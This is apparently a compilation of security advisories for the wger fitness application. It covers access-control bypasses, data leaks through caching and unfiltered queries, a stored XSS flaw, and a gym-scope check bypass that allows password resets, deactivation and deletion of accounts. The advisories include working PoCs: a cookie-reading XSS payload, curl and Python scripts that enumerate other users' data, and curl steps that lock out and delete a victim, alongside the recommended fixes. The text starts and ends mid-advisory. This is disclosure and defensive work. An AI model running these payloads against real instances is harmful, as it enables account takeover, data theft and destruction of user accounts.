[+] VULNERABLE! Got 1 session(s):
    Date:       2024-06-15
    Notes:      SECRET workout note      ← alice's private note
    Impression: 3
    Logs:       0 exercise entries

[+] Training statistics for routine #1:
    Total volume:      0.00 kg
    Upper body volume: 0.00 kg
    Lower body volume: 0.00 kg

Recommended Fix

The /logs/ and /stats/ actions must filter results to the requesting user, not the routine owner.

# wger/manager/api/views.py

@action(detail=True, url_path='logs')
def logs(self, request, pk):
    routine = self.get_object()
    # Only return logs for the requesting user, regardless of routine ownership
    out = LogDisplaySerializer(
        routine.logs_display(user=request.user),
        many=True,
    ).data
    return Response(out)

@action(detail=True, url_path='stats')
def stats(self, request, pk):
    routine = self.get_object()
    out = LogStatsDataSerializer(
        routine.calculate_log_statistics(user=request.user)
    ).data
    return Response(out)

Additionally, RoutinePermission.has_object_permission should explicitly deny access to the /logs/ and /stats/ actions for non-owners, regardless of is_template:

def has_object_permission(self, request, view, obj):
    if obj.user == request.user:
        return True

    # Template routines are readable, but only their structure 
    # never their owner's personal training history
    if obj.is_template and view.action not in ('logs', 'stats'):
        return request.method in permissions.SAFE_METHODS

    return False

Stored XSS via Unescaped License Attribution Fields

Summary

The AbstractLicenseModel.attribution_link property in wger/utils/models.py constructs HTML strings by directly interpolating user-controlled fields (license_author, license_title, license_object_url, license_author_url, license_derivative_source_url) without any escaping. The resulting HTML is rendered in the ingredient view template using Django's |safe filter, which disables auto-escaping. An authenticated user can create an ingredient with a malicious license_author value containing JavaScript, which executes when any user (including unauthenticated visitors) views the ingredient page.

Severity

High (CVSS 3.1: ~7.6)

• Low-privilege attacker (any authenticated non-temporary user)
• Stored XSS — persists in database
• Triggers on a public page (no authentication needed to view)
• Can steal session cookies, perform actions as other users, redirect to phishing

CWE

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Affected Components

Vulnerable Property

File: wger/utils/models.py:88-110

@property
def attribution_link(self):
    out = ''
    if self.license_object_url:
        out += f'<a href="{self.license_object_url}">{self.license_title}</a>'
    else:
        out += self.license_title  # NO ESCAPING
    out += ' by '
    if self.license_author_url:
        out += f'<a href="{self.license_author_url}">{self.license_author}</a>'
    else:
        out += self.license_author  # NO ESCAPING
    out += f' is licensed under <a href="{self.license.url}">{self.license.short_name}</a>'
    if self.license_derivative_source_url:
        out += (
            f'/ A derivative work from <a href="{self.license_derivative_source_url}">the '
            f'original work</a>'
        )
    return out

Unsafe Template Rendering

File: wger/nutrition/templates/ingredient/view.html

• Line 171: {{ ingredient.attribution_link|safe }}
• Line 226: {{ image.attribution_link|safe }}

Writable Entry Point

File: wger/nutrition/views/ingredient.py:154-175

class IngredientCreateView(WgerFormMixin, CreateView):
    model = Ingredient
    form_class = IngredientForm  # includes license_author field

URL: login_required(ingredient.IngredientCreateView.as_view()) — any authenticated non-temporary user.

Form fields (from wger/nutrition/forms.py:295-313): includes license_author (TextField, max_length=3500) — no sanitization.

Models Affected

6 models inherit from AbstractLicenseModel:

• Exercise, ExerciseImage, ExerciseVideo, Translation (exercises module)
• Ingredient, Image (nutrition module)

Only the Ingredient and nutrition Image models' attribution links are currently rendered with |safe in templates.

Root Cause

1. attribution_link constructs raw HTML by string interpolation of user-controlled fields without calling django.utils.html.escape() or django.utils.html.format_html()
2. The template renders the result with |safe, bypassing Django's auto-escaping
3. The license_author field in IngredientForm has no input sanitization
4. The set_author() method only sets a default value if the field is empty — it does not sanitize user-provided values

Reproduction Steps (Verified)

Prerequisites

• A wger instance with user registration enabled (default)
• An authenticated user account (non-temporary)

Steps

1. Register/login to a wger instance

2. Create a malicious ingredient via the web form at /en/nutrition/ingredient/add/:

   • Set Name to any valid name (e.g., "XSS Form Verified")
   • Set Energy to 125, Protein to 10, Carbohydrates to 10, Fat to 5 (energy must approximately match macros)
   • Set Author(s) (license_author) to:

     <img src=x onerror="alert(document.cookie)">
     

   • Submit the form — the form validates and saves successfully with no sanitization

3. View the ingredient page (public URL, no auth needed):

   • Navigate to the newly created ingredient's detail page
   • The XSS payload executes in the browser

Verified PoC Output

The rendered HTML in the ingredient detail page (line 171 of ingredient/view.html) contains:

<small>
     by <img src=x onerror=alert(1)> is licensed under <a href="https://creativecommons.org/licenses/by-sa/3.0/deed.en">CC-BY-SA 3</a>
</small>

The <img> tag with onerror handler is injected directly into the page DOM and executes JavaScript when the browser attempts to load the non-existent image.

Alternative API Path (ExerciseImage)

For users who are "trustworthy" (account >3 weeks old + verified email):

# Upload exercise image with XSS in license_author
curl -X POST https://wger.example.com/api/v2/exerciseimage/ \
  -H "Authorization: Token <token>" \
  -F "exercise=1" \
  -F "image=@photo.jpg" \
  -F 'license_author=<img src=x onerror="alert(document.cookie)">' \
  -F "license=2"

Note: ExerciseImage's attribution_link is not currently rendered with |safe in exercise templates, but the data is stored with XSS payloads and would execute if any template renders it with |safe in the future. The API serializer also returns the unescaped attribution_link data, which could cause XSS in API consumers (mobile apps, SPAs).

Impact

• Session hijacking: Steal admin session cookies to gain full control
• Account takeover: Modify other users' passwords or email addresses
• Data theft: Access other users' workout plans, nutrition data, and personal measurements
• Worm-like propagation: Malicious ingredient could inject XSS that creates more malicious ingredients
• Phishing: Redirect users to fake login pages

Suggested Fix

Replace the attribution_link property with properly escaped HTML using Django's format_html():

from django.utils.html import format_html, escape

@property
def attribution_link(self):
    parts = []

    if self.license_object_url:
        parts.append(format_html('<a href="{}">{}</a>', self.license_object_url, self.license_title))
    else:
        parts.append(escape(self.license_title))

    parts.append(' by ')

    if self.license_author_url:
        parts.append(format_html('<a href="{}">{}</a>', self.license_author_url, self.license_author))
    else:
        parts.append(escape(self.license_author))

    parts.append(format_html(
        ' is licensed under <a href="{}">{}</a>',
        self.license.url, self.license.short_name
    ))

    if self.license_derivative_source_url:
        parts.append(format_html(
            '/ A derivative work from <a href="{}">the original work</a>',
            self.license_derivative_source_url
        ))

    return mark_safe(''.join(str(p) for p in parts))

Alternatively, remove the |safe filter from the templates and escape in the property, though this would break the anchor tags.

References

• Django Security: Cross Site Scripting (XSS) protection
• Django format_html() documentation
• OWASP: Stored Cross-Site Scripting

Summary

wger exposes a global configuration edit endpoint at /config/gym-config/edit implemented by GymConfigUpdateView. The view declares permission_required = 'config.change_gymconfig' but does not enforce it because it inherits WgerFormMixin (ownership-only checks) instead of the project’s permission-enforcing mixin (WgerPermissionMixin) .

The edited object is a singleton (GymConfig(pk=1)) and the model does not implement get_owner_object(), so WgerFormMixin skips ownership enforcement. As a result, a low-privileged authenticated user can modify installation-wide configuration and trigger server-side side effects in GymConfig.save().

This is a vertical privilege escalation from a regular user to privileged global configuration control. The application explicitly declares permission_required = 'config.change_gymconfig', demonstrating that the action is intended to be restricted; however, this requirement is never enforced at runtime.

Affected endpoint

The config URLs map as follows.

File: wger/config/urls.py

patterns_gym_config = [
    path('edit', gym_config.GymConfigUpdateView.as_view(), name='edit'),
]

urlpatterns = [
    path(
        'gym-config/',
        include((patterns_gym_config, 'gym_config'), namespace='gym_config'),
    ),
]

This resolves to:

/config/gym-config/edit

Root cause

The view declares a permission but does not enforce it

File: wger/config/views/gym_config.py

class GymConfigUpdateView(WgerFormMixin, UpdateView):
    model = GymConfig
    fields = ('default_gym',)
    permission_required = 'config.change_gymconfig'
    success_url = reverse_lazy('gym:gym:list')
    title = gettext_lazy('Edit')

    def get_object(self):
        return GymConfig.objects.get(pk=1)

The permission string exists, but WgerFormMixin does not check permission_required.

The project’s permission mixin exists but is not used

File: wger/utils/generic_views.py

class WgerPermissionMixin:
    permission_required = False
    login_required = False

    def dispatch(self, request, *args, **kwargs):
        if self.login_required or self.permission_required:
            if not request.user.is_authenticated:
                return HttpResponseRedirect(
                    reverse_lazy('core:user:login') + f'?next={request.path}'
                )

            if self.permission_required:
                has_permission = False
                if isinstance(self.permission_required, tuple):
                    for permission in self.permission_required:
                        if request.user.has_perm(permission):
                            has_permission = True
                elif request.user.has_perm(self.permission_required):
                    has_permission = True

                if not has_permission:
                    return HttpResponseForbidden('You are not allowed to access this object')

        return super(WgerPermissionMixin, self).dispatch(request, *args, **kwargs)

GymConfigUpdateView does not inherit this mixin, so none of the login/permission logic runs.

The mixin that is used performs only ownership checks, and GymConfig has no owner

File: wger/utils/generic_views.py

class WgerFormMixin(ModelFormMixin):
    def dispatch(self, request, *args, **kwargs):
        self.kwargs = kwargs
        self.request = request

        if self.owner_object:
            owner_object = self.owner_object['class'].objects.get(pk=kwargs[self.owner_object['pk']])
        else:
            try:
                owner_object = self.get_object().get_owner_object()
            except AttributeError:
                owner_object = False

        if owner_object and owner_object.user != self.request.user:
            return HttpResponseForbidden('You are not allowed to access this object')

        return super(WgerFormMixin, self).dispatch(request, *args, **kwargs)

File: wger/config/models/gym_config.py

class GymConfig(models.Model):
    default_gym = models.ForeignKey(
        Gym,
        verbose_name=_('Default gym'),
        # ...
        null=True,
        blank=True,
        on_delete=models.CASCADE,
    )
    # No get_owner_object() method

Because GymConfig does not implement get_owner_object(), WgerFormMixin catches AttributeError and sets owner_object = False, skipping any access restriction.

Security impact

This is not a cosmetic setting: GymConfig.save() performs installation-wide side effects.

File: wger/config/models/gym_config.py

def save(self, *args, **kwargs):
    if self.default_gym:
        UserProfile.objects.filter(gym=None).update(gym=self.default_gym)

        for profile in UserProfile.objects.filter(gym=self.default_gym):
            user = profile.user
            if not is_any_gym_admin(user):
                try:
                    user.gymuserconfig
                except GymUserConfig.DoesNotExist:
                    config = GymUserConfig()
                    config.gym = self.default_gym
                    config.user = user
                    config.save()

    return super(GymConfig, self).save(*args, **kwargs)

On deployments with multiple gyms, this allows a low-privileged user to tamper with tenant assignment defaults, affecting new registrations and bulk-updating existing users lacking a gym. This permits unauthorized modification of installation-wide state and bulk updates to other users’ records, violating the intended administrative trust boundary.

Proof of concept (local verification)

Environment: local docker compose stack, accessed via http://127.0.0.1:8088/en/.

Observed behavior

An unauthenticated user can reach the endpoint via GET; POST requires authentication and redirects to login. An authenticated low-privileged user can submit the form and change the global singleton. After the save, the application redirects to success_url = reverse_lazy('gym:gym:list') (e.g. /en/gym/list), which is permission-protected; therefore the browser may display a “Forbidden” page even though the global update already succeeded.

DB evidence (before/after)

Before submission:

default_gym_id= None
profiles_gym_null= 1

After a low-privileged user submitted the form setting default_gym to gym id 1:

default_gym_id= 1
profiles_gym_null= 0

Recommended fix

Ensure permission enforcement runs before the form dispatch.

Using the project mixin (order matters):

class GymConfigUpdateView(WgerPermissionMixin, WgerFormMixin, UpdateView):
    permission_required = 'config.change_gymconfig'
    login_required = True

Alternatively, use Django’s PermissionRequiredMixin (and LoginRequiredMixin) directly.

Conclusion

The view explicitly declares permission_required = 'config.change_gymconfig', which demonstrates developer intent that this action be restricted. The fact that it is not enforced constitutes improper access control regardless of perceived business impact.

Summary

Three nutritional_values action endpoints fetch objects via Model.objects.get(pk=pk) — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK.

Details

DRF detail actions do not automatically apply queryset filtering — the action must call self.get_object() to enforce object-level permissions. These three endpoints skip that and go directly to the ORM:

wger/nutrition/api/views.py:

# line 301 — NutritionPlanViewSet
plan = NutritionPlan.objects.get(pk=pk)           # VULNERABLE — no user check

# line 356 — MealViewSet
meal = Meal.objects.get(pk=pk)                    # VULNERABLE

# line 403 — MealItemViewSet
meal_item = MealItem.objects.get(pk=pk)           # VULNERABLE

The correct pattern used in the same file at LogItemViewSet (line 438):

LogItem.objects.get(pk=pk, plan__user=self.request.user)  # CORRECT

Affected endpoints:

GET /api/v2/nutritionplan/{pk}/nutritional_values/
GET /api/v2/meal/{pk}/nutritional_values/
GET /api/v2/mealitem/{pk}/nutritional_values/

PoC

import requests

BASE = "http://localhost"
# Attacker's token (any registered user)
headers = {"Authorization": "Token ATTACKER_TOKEN"}

# Read victim's nutrition plan — enumerate pk starting from 1
for pk in range(1, 100):
    r = requests.get(
        f"{BASE}/api/v2/nutritionplan/{pk}/nutritional_values/",
        headers=headers
    )
    if r.status_code == 200:
        data = r.json()
        print(f"Plan {pk}: {data}")
        # Returns: energy (kcal), protein, carbohydrates, carbohydrates_sugar,
        #          fat, fat_saturated, fiber, sodium

No interaction from the victim required. Registration is open by default. PKs are sequential integers.

Impact

Any authenticated user can read other users' private dietary and health data:

• Daily caloric intake
• Protein, carbohydrate, fat, fiber, and sodium intake
• Full meal composition and ingredient quantities

This data is sensitive health information users expect to be private.

Fix: Replace direct ORM calls with self.get_object(), which applies the viewset's user-scoped queryset and object-level permissions automatically. Or add an explicit user filter: NutritionPlan.objects.get(pk=pk, user=self.request.user).

Summary

Five routine detail action endpoints check a cache before calling self.get_object(). Cache keys are scoped only by pk — no user ID is included. When a victim has previously accessed their routine via the API, an attacker can retrieve the cached response for the same PK without any ownership check.

Details

wger/manager/api/views.py — five actions follow this pattern (lines 134–201):

@action(detail=True)
def date_sequence_display_mode(self, request, pk=None):
    cache_key = make_routine_api_date_sequence_display_cache_key(pk)
    cached = cache.get(cache_key)
    if cached:
        return Response(cached)   # returned WITHOUT calling self.get_object()
    # only reaches ownership check on cache miss
    routine = self.get_object()
    ...

Cache key construction in wger/utils/cache.py:89–106:

def make_routine_api_date_sequence_display_cache_key(routine_id):
    return f"routine-api-date-sequence-display-{routine_id}"
    # No user ID in key

Cache TTL: 1 month (4 * 604800 seconds, settings_global.py:461).

Affected endpoints:

GET /api/v2/routine/{pk}/date-sequence-display/
GET /api/v2/routine/{pk}/date-sequence-gym/
GET /api/v2/routine/{pk}/structure/
GET /api/v2/routine/{pk}/logs/
GET /api/v2/routine/{pk}/stats/

PoC

1. Victim (user A) visits GET /api/v2/routine/5/structure/ → response cached under key "routine-api-structure-5"
2. Attacker (user B) visits GET /api/v2/routine/5/structure/ → cache hit → returns user A's routine structure without any ownership check

Requires the victim to have previously accessed the endpoint (cache must be populated). Once populated, the cache entry is valid for 1 month.

Impact

An attacker with a registered account can retrieve another user's routine details — workout day sequences, exercise structure, training logs, and statistics — from cache without ownership verification.

Fix: Include the user ID in the cache key:

def make_routine_api_date_sequence_display_cache_key(routine_id, user_id):
    return f"routine-api-date-sequence-display-{user_id}-{routine_id}"

Or move self.get_object() before the cache lookup so ownership is always verified first.

Summary

RepetitionsConfigViewSet and MaxRepetitionsConfigViewSet return all users' repetition config data because their get_queryset() calls .all() instead of filtering by the authenticated user. Any registered user can enumerate every other user's workout structure.

Details

wger/manager/api/views.py:499 and :518:

# VULNERABLE
class RepetitionsConfigViewSet(viewsets.ModelViewSet):
    def get_queryset(self):
        return RepetitionsConfig.objects.all()

class MaxRepetitionsConfigViewSet(viewsets.ModelViewSet):
    def get_queryset(self):
        return MaxRepetitionsConfig.objects.all()

Every sibling viewset in the same file correctly filters by user. For example, WeightConfigViewSet at line 459:

# CORRECT — how it should work
def get_queryset(self):
    return WeightConfig.objects.filter(
        slot_entry__slot__day__routine__user=self.request.user
    )

The same user filter is present on SetsConfig, RestConfig, RiRConfig, and their Max variants — only RepetitionsConfig and MaxRepetitionsConfig are missing it.

PoC

import requests

BASE = "http://localhost"
headers = {"Authorization": "Token YOUR_TOKEN"}  # any registered user

r = requests.get(f"{BASE}/api/v2/repetitions-config/", headers=headers)
print(r.json())  # returns ALL users' repetition configs, not just your own

r = requests.get(f"{BASE}/api/v2/max-repetitions-config/", headers=headers)
print(r.json())  # same — all users' max repetition configs

Registration is open by default. Sequential IDs allow full enumeration.

Impact

Any authenticated user can read other users' repetition and max-repetitions configs, exposing workout structure (slot entry IDs, iteration values, operations, step counts, repeat flags, requirements JSON). This is a broken object-level authorization (BOLA/IDOR) vulnerability — the same class of issue as OWASP API1.

Fix: Add the same user filter used by every other config viewset:

def get_queryset(self):
    return RepetitionsConfig.objects.filter(
        slot_entry__slot__day__routine__user=self.request.user
    )

Summary

The reset_user_password and gym_permissions_user_edit views in wger perform a gym-scope authorization check using Python object comparison (!=) that evaluates None != None as False, silently bypassing the guard when both the attacker and victim have no gym assignment (gym=None). A user with gym.manage_gym permission and gym=None can reset the password of any other gym=None user; the new plaintext password is returned verbatim in the HTML response body, enabling one-shot full account takeover. The victim's original password is invalidated, locking them out permanently.

Details

File: wger/gym/views/user.py

The authorization guard in reset_user_password (and the parallel check in gym_permissions_user_edit) uses Django ORM object comparison:

# VULNERABLE - wger/gym/views/user.py
 if request.user.userprofile.gym != user.userprofile.gym:
    return HttpResponseForbidden()

When both request.user.userprofile.gym and user.userprofile.gym are None (representing users with no gym assignment - the default for newly registered users before gym linking), Python evaluates None != None as False. The guard therefore passes without raising HttpResponseForbidden, and execution continues unconditionally to:

password = password_generator()
user.set_password(password)
 user.save()
return render(request, 'user/trainer_login.html', {'password': password, ...})

The generated password is rendered verbatim in the response body.

Affected endpoints:

• GET /en/gym/user/<user_pk>/reset-user-password -> wger.gym.views.user.reset_user_password
• GET /en/gym/user/<user_pk>/edit -> wger.gym.views.user.gym_permissions_user_edit

Suggested patch:

 --- a/wger/gym/views/user.py
+++ b/wger/gym/views/user.py
-    if request.user.userprofile.gym != user.userprofile.gym:
-        return HttpResponseForbidden()
+    trainer_gym_id = request.user.userprofile.gym_id   # raw FK int
+    member_gym_id  = user.userprofile.gym_id
+
+    if trainer_gym_id is None or trainer_gym_id != member_gym_id:
+        return HttpResponseForbidden()

The _id suffix accesses the raw integer foreign key, bypassing Python's object identity semantics. The explicit is None guard rejects unaffiliated trainers immediately, regardless of the victim's gym status. Apply the same same_gym() helper pattern to all five views sharing this check: reset_user_password, gym_permissions_user_edit, admin_notes_list, documents_list, contracts_list.

PoC

Tested on wger/server:latest Docker image (runtime: Django 5.2.13). Two test users: trainer1 (gym.manage_gym permission, userprofile.gym=None) and alice (regular user, userprofile.gym=None).

Step 1 - Authenticate as trainer with manage_gym permission and gym=None:

POST /en/user/login HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

username=trainer1&password=[REDACTED]&csrfmiddlewaretoken=[REDACTED]
 
-> 302 Found; Set-Cookie: sessionid=[trainer1_session]

Step 2 - Trigger cross-tenant password reset:

GET /en/gym/user/2/reset-user-password HTTP/1.1
 Host: target
Cookie: sessionid=[trainer1_session]

-> 200 OK
<tr><th>Password</th><td>[GENERATED_PLAINTEXT_PASSWORD]</td></tr>

Step 3 - Authenticate as victim (alice) using leaked password:

 POST /en/user/login HTTP/1.1
Host: target

username=alice&password=[GENERATED_PLAINTEXT_PASSWORD]&csrfmiddlewaretoken=[...]
 
-> 302 Found; authenticated as alice
(alice's ORIGINAL password is now invalid - permanent lockout)

RBAC Disproof Protocol (three-scenario test):

• Scenario A (admin, same-gym) -> HTTP 200 (expected - documented feature)
• Scenario B (trainer1 gym=None -> alice gym=None) -> HTTP 200 with plaintext password in body (expected HTTP 403)
• Scenario C (trainer1 gym=1 -> alice gym=2) -> HTTP 403 (expected - guard works when gyms differ, confirms bypass is None-specific)

Reproducibility: 2/2 runs after clean-baseline database reset.

Impact

An attacker with gym.manage_gym permission and gym=None can:

1. Reset the password of any other gym=None user on the wger instance.
2. Receive the new plaintext password in the HTTP response body.
3. Log in as the victim immediately.
4. Permanently lock the victim out (original password invalidated).

Affected deployments: every wger instance where gym.manage_gym permission is delegated to non-admin users AND any other users exist with gym=None. The gym=None state is the default for newly registered users before manual gym assignment, so every public-registration wger instance is affected.

Severity: Critical (CVSS 9.9). Network-reachable, low complexity, requires only low privilege (delegated trainer), scope change (impersonation of other tenant), complete confidentiality/integrity/availability loss for all unaffiliated accounts.

This is the same structural bug class as the sibling finding affecting trainer_login (submitted separately). The root cause - Django ORM object-!= returning False when both sides are None - appears across five views and warrants a shared same_gym() helper.

Improper Restriction of Excessive Authentication Attempts in GitHub repository wger-project/wger prior to 2.2.

Summary

GHSA-mhc8-p3jx-84mm (CVE-2026-43948) reported that wger's reset_user_password and gym_permissions_user_edit views in wger/gym/views/user.py performed a gym-scope authorization check using Django ORM object comparison (if request.user.userprofile.gym != user.userprofile.gym) which silently passes when both sides are None (None != None evaluates to False). The maintainer's suggested patch ("Apply the same same_gym() helper pattern to all five views sharing this check") replaces every userprofile.gym != site with the new is_same_gym() helper that explicitly excludes None (gym_a is not None and gym_a == gym_b).

The fix landed in wger/gym/views/{admin_notes,document,contract,gym}.py (5 views, all using is_same_gym). However, three additional views in wger/core/views/user.py were not migrated and retain the original userprofile.gym_id != ... raw integer comparison. Because raw integer != comparison still evaluates None != None as False, the gym-scope guard is bypassed identically to the patched views. The result is a complete incomplete-fix variant family that reproduces against the latest wger/server:latest Docker image (master, 2026-05-08 build).

A privileged-but-bounded gym staff user (admin-granted gym.manage_gym permission, intended scope: managing members of one specific gym) whose userprofile.gym = None (the default state before the admin links them to a gym) can:

1. Permanently delete any other user with gym = None (V3, delete view, line 131 — CRITICAL data loss, irreversible)
2. Deactivate any other user with gym = None, locking them out of the platform (V1, UserDeactivateView, line 405 — high availability impact)
3. Re-activate any previously deactivated user with gym = None (V2, UserActivateView, line 442 — counters defensive deactivation)

Victim user pks are sequential integers and trivially enumerable via /en/user/<pk>/overview and other endpoints. The same_gym_id == ... flag in UserDetailView.get_context_data (line 587) is also affected, but the underlying dispatch() and the actual trainer_login view still use the patched is_same_gym() helper, so impersonation chain via that path is blocked at runtime — only the UI button visibility leaks. The three write-side variants above are the security boundary breaches.

Affected versions

• All wger versions through master at wger/server:latest (digest sha256:5d8fe1ba66cc..., image build 2026-05-08).
• The advisory's affected: <0.9.7 → fixed: 0.9.7 range applies to the PyPI aegra-api package (different project; the advisory text references a Python-package version unrelated to the wger Django project's version scheme — wger does not publish to PyPI under that name). For wger itself, the patch landed via direct master commits to wger/gym/views/{admin_notes,document,contract,gym}.py; wger/core/views/user.py was not touched in the same patch.

(Maintainer can confirm version range; the live verification was performed against the latest published Docker image.)

Vulnerable code

V1 — UserDeactivateView (wger/core/views/user.py, line 405)

class UserDeactivateView(...):
    permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer')

    def dispatch(self, request, *args, **kwargs):
        edit_user = get_object_or_404(User, pk=self.kwargs['pk'])

        if not request.user.is_authenticated:
            return HttpResponseForbidden()

        if (
            request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')
        ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:  # ← BUG: None != None == False
            return HttpResponseForbidden()

        return super(UserDeactivateView, self).dispatch(request, *args, **kwargs)

    def get_redirect_url(self, pk):
        edit_user = get_object_or_404(User, pk=pk)
        edit_user.is_active = False  # ← side effect on plain GET
        edit_user.save()
        ...

V2 — UserActivateView (wger/core/views/user.py, line 442)

class UserActivateView(...):
    permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer')

    def dispatch(self, request, *args, **kwargs):
        edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
        ...
        if (
            request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')
        ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:  # ← BUG: same pattern
            return HttpResponseForbidden()

        return super(UserActivateView, self).dispatch(request, *args, **kwargs)

    def get_redirect_url(self, pk):
        edit_user = get_object_or_404(User, pk=pk)
        edit_user.is_active = True  # ← side effect on plain GET
        edit_user.save()
        ...

V3 — delete (wger/core/views/user.py, line 116-159)

@login_required()
def delete(request, user_pk=None):
    ...
    if user_pk:
        user = get_object_or_404(User, pk=user_pk)

        if not request.user.has_perm('gym.manage_gyms') and (
            not request.user.has_perm('gym.manage_gym')
            or request.user.userprofile.gym_id != user.userprofile.gym_id  # ← BUG (line 131)
            or user.has_perm('gym.manage_gym')
            or user.has_perm('gym.gym_trainer')
            or user.has_perm('gym.manage_gyms')
        ):
            return HttpResponseForbidden()
    ...

    if request.method == 'POST':
        form = PasswordConfirmationForm(data=request.POST, user=request.user)
        if form.is_valid():
            user.delete()  # ← victim account permanently deleted (line 145)
            ...
            gym_pk = request.user.userprofile.gym_id  # = None for trainer1
            return HttpResponseRedirect(reverse('gym:gym:user-list', kwargs={'pk': gym_pk}))
            # ↑ raises NoReverseMatch (gym_pk=None) → 500 to attacker
            # but user.delete() already executed — victim is gone

Triager note about the 500 status — please do not interpret the 500 as evidence that the exploit failed. The 500 is a redirect-side NoReverseMatch exception caused by reverse('gym:gym:user-list', kwargs={'pk': None}) (line 154-155) attempting to build a URL with pk=None because trainer1 also has gym=None. By that point Django has already committed user.delete() (line 145) and the victim's User row is gone. The Reproduction section's Step 3 ("confirm alice was actually deleted") shows the post-delete DB state directly: alice exists? False, all users: ['admin', 'trainer1']. The 500 only affects the response shown to the attacker; the destructive operation is unaffected by the response-side failure.

Suggested patch

Same as the advisory's recommendation — replace every userprofile.gym_id != ... raw comparison with is_same_gym() from wger/gym/helpers.py:

--- a/wger/core/views/user.py
+++ b/wger/core/views/user.py
 @login_required()
 def delete(request, user_pk=None):
     ...
-        if not request.user.has_perm('gym.manage_gyms') and (
-            not request.user.has_perm('gym.manage_gym')
-            or request.user.userprofile.gym_id != user.userprofile.gym_id
-            or user.has_perm('gym.manage_gym')
-            or user.has_perm('gym.gym_trainer')
-            or user.has_perm('gym.manage_gyms')
-        ):
+        if not request.user.has_perm('gym.manage_gyms') and (
+            not request.user.has_perm('gym.manage_gym')
+            or not is_same_gym(request.user, user)
+            or user.has_perm('gym.manage_gym')
+            or user.has_perm('gym.gym_trainer')
+            or user.has_perm('gym.manage_gyms')
+        ):
             return HttpResponseForbidden()

 class UserDeactivateView(...):
     def dispatch(self, request, *args, **kwargs):
         edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
         ...
-        if (
-            request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')
-        ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:
+        if (
+            request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')
+        ) and not is_same_gym(request.user, edit_user):
             return HttpResponseForbidden()

 class UserActivateView(...):
     def dispatch(self, request, *args, **kwargs):
         edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
         ...
-        if (
-            request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')
-        ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:
+        if (
+            request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')
+        ) and not is_same_gym(request.user, edit_user):
             return HttpResponseForbidden()

is_same_gym() (current implementation at wger/gym/helpers.py) already returns False whenever either side is None, matching the advisory's existing fix pattern.

Additionally, delete() line 154-155 should handle the gym_pk = None case to avoid leaking a 500 response to an attacker even when the authorization guard correctly rejects, and to provide a clean redirect for general administrators (gym.manage_gyms) acting on gym=None users.

Reproduction

Setup (clean baseline)

# Pull and start the latest production image
docker pull wger/server:latest        # digest sha256:5d8fe1ba66cc..., 2026-05-08 build
docker run -d --name wger-bb -p 8888:8000 -e DJANGO_DEBUG=true wger/server:latest

# Wait ~30s for migrations and demo-data fixture load.

# Create the two test users (advisory PoC setup, identical to GHSA-mhc8-p3jx-84mm).
docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'
from django.contrib.auth.models import User, Permission

# Attacker — gym manager with no gym affiliation
t = User.objects.create_user(username='trainer1', password='TrainerPass123!')
t.userprofile.gym = None
t.userprofile.save()
t.user_permissions.add(Permission.objects.get(codename='manage_gym'))
t.save()

# Victim — regular user, no gym
a = User.objects.create_user(username='alice', password='AlicePass123!')
a.userprofile.gym = None
a.userprofile.save()

print("trainer1.gym_id =", t.userprofile.gym_id, "has_perm =", t.has_perm('gym.manage_gym'))
print("alice.gym_id    =", a.userprofile.gym_id, "pk =", a.pk)
PY
# Expected:
#   trainer1.gym_id = None has_perm = True
#   alice.gym_id    = None pk = 3

Variant V1 — cross-tenant deactivation (UserDeactivateView, line 405)

# Login as attacker
COOKIES=/tmp/wger_trainer1.txt
CSRF=$(curl -s -c $COOKIES "http://localhost:8888/en/user/login" | grep -oE 'csrfmiddlewaretoken" value="[^"]+"' | head -1 | cut -d'"' -f3)
curl -s -b $COOKIES -c $COOKIES "http://localhost:8888/en/user/login" \
    -d "username=trainer1&password=TrainerPass123!&csrfmiddlewaretoken=$CSRF" \
    -H "Referer: http://localhost:8888/en/user/login" -o /dev/null

# Trigger deactivation on alice (pk=3)
curl -s -b $COOKIES -o /dev/null -w "status=%{http_code} loc=%header{location}\n" \
    "http://localhost:8888/en/user/3/deactivate"
# → status=302 loc=/en/user/3/overview          (expected: 403 Forbidden)

# Confirm DB side effect
docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'
from django.contrib.auth.models import User
print("alice.is_active =", User.objects.get(username='alice').is_active)
PY
# → alice.is_active = False     (alice locked out)

Variant V2 — cross-tenant re-activation (UserActivateView, line 442)

# Same trainer1 session
curl -s -b $COOKIES -o /dev/null -w "status=%{http_code} loc=%header{location}\n" \
    "http://localhost:8888/en/user/3/activate"
# → status=302 loc=/en/user/3/overview

docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'
from django.contrib.auth.models import User
print("alice.is_active =", User.objects.get(username='alice').is_active)
PY
# → alice.is_active = True      (alice re-activated; useful to "undo" defensive action by an admin)

Variant V3 — cross-tenant account deletion (delete, line 131)

# Step 1: GET the password-confirmation form
CSRF2=$(curl -s -b $COOKIES "http://localhost:8888/en/user/3/delete" \
    | grep -oE 'csrfmiddlewaretoken" value="[^"]+"' | head -1 | cut -d'"' -f3)
echo "form CSRF: $CSRF2"
# → 200 OK with PasswordConfirmationForm   (expected: 403 Forbidden)

# Step 2: POST trainer1's own password — confirms the delete
curl -s -b $COOKIES -o /dev/null -w "status=%{http_code}\n" \
    "http://localhost:8888/en/user/3/delete" \
    -d "password=TrainerPass123!&csrfmiddlewaretoken=$CSRF2" \
